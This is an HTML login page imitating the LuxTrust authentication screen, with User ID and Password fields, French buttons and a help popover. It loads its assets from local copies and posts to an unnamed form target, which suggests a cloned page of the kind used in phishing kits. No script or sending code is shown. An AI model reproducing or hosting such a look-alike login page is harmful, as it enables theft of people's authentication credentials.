<!DOCTYPE html>
<html lang="FR"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>S'authentifier</title>
    <link rel="stylesheet" media="all" href="./application-2305a15c2a.css">
    
    
<style type="text/css">

  .fixed-container {
    display: flex;
    justify-content: center;
    align-items: center;
    position: relative;

  }

  </style>

  </head>
  <body class="luxtrust">
    
<style>
  .luxtrust .form-horizontal .control-label {
    padding-top: 7px;
    margin-bottom: 0;
    text-align: right;
  }

  @media screen and (max-width: 351px) {

     .luxtrust .authentication .alert.alert-danger {
       margin-top: 2rem;
       margin-bottom: -1rem;
       font-size: 12px;

     }
      .thumbnail {
          display: none;
      }

    .luxtrust .help-block {
      width: 11rem;
      margin-bottom: -0.5rem;
      font-size: 12px;
    }
      .center-buttons-responsive {
          transform: translateX(30%);
      }

    .responsive-buttons .btn {
      padding: 6px 6px;
    }


  }
   @media screen and (max-width: 599px) {
       .responsive-buttons {
           width: 70%;
       }
       .center-buttons-responsive {
           transform: translateX(30%);
       }

       .responsive-fixed-container {
           display: flex;
           justify-content: center;
           align-items: center;
           position: relative;
       }

   }
  @media screen and (min-width: 600px) and (max-width: 700px) {
    .responsive-buttons .btn {
      padding: 5px 5px;
    }

  }

</style>
  <div class="container authentication responsive-header">
    <nav class="navbar header" role="navigation">
  <div class="navbar-brand logo center-block" style="display: none">
    <span class="logoImg"></span>
  </div>
  <hr width="100%" color="black" style="display: none">
  
  <div class="navbar-header pull-right">
    <div class="luxtrust-header-logo">
      <img src="./LuxTrust.svg" alt="Orely">
    </div>
  </div>
 </nav>

    </form>
    <div class="js-form-container">
      <!--login-form.hbs.html-->
<form id="ToPost" action="" method="post">

<div id="credentials" class="css-authentication css-credentials-form js-credentials-form">
    <div class="login row">
        <fieldset class="form-horizontal col-xs-12 col-sm-12 col-md-7">
<!--            <fieldset class="form-horizontal col-xs-12 col-sm-12">-->
            <div class="form-group">
                <label class="control-label col-xs-4 col-sm-3 col-md-offset-0 text-right" for="user-id">
<!--                <label class="control-label col-xs-4 col-sm-3" for="user-id">-->
                    User ID
                </label>
                <div class="col-xs-6 col-sm-7">
<!--                <div class="col-xs-6">-->
                    <input id="user-id" class="form-control usrIdField" type="text" placeholder="User ID" value="" autofocus="" autocomplete="off" autocorrect="off" spellcheck="false" maxlength="8">
                </div>
        <span class="help col-xs-1 control-label glyphicon glyphicon-question-sign" data-container="#credentials" data-toggle="popover" data-placement="left" data-content="Votre User ID LuxTrust (4 lettres suivies de 4 chiffres) vous a été remis par SMS ou courrier." data-original-title="" title="">
            </span></div>
            <div class="form-group">
                <label class="control-label col-xs-4 col-sm-3 col-md-offset-0 text-right" for="password">
<!--                <label class="control-label col-xs-4 col-sm-3" for="password">-->
                    Password
                </label>
                <div class="col-xs-6 col-sm-7">
<!--                    <div class="col-xs-6">-->
                    <input id="password" class="form-control" type="password" autocomplete="off" autocorrect="off" spellcheck="false" maxlength="10" placeholder="Password">
                </div>
        <span class="help col-xs-1 control-label glyphicon glyphicon-question-sign" data-container="#credentials" data-toggle="popover" data-placement="left" data-html="true" data-original-title="" title="">
            </span></div>
            <fieldset class="actions form-group responsive-buttons">
                <div class="col-xs-12 col-sm-12 col-md-7 col-md-offset-3 col-lg-offset-3 center-buttons-responsive">
                    <button id="cancel" class="js-cancel btn btn-default lt-native-button-cancel" >
                        Annuler
                    </button>
                    <button id="confirm" class="js-submit btn btn-default lt-native-button-submit">
                        Suivant
                    </button>
                </div>
            </fieldset>
        </fieldset>
        <div class="hidden-xs hidden-sm col-md-offset-1 col-lg-offset-1 col-md-2 col-lg-1 pull-right">
            <div class="thumbnail pull-right">
    <div class="device vtssw"></div>
    <div class="name">LuxTrust Mobile</div>
</div>
        </div>
    </div>
</div>

    </div>
  </div>
  </form>

</body></html>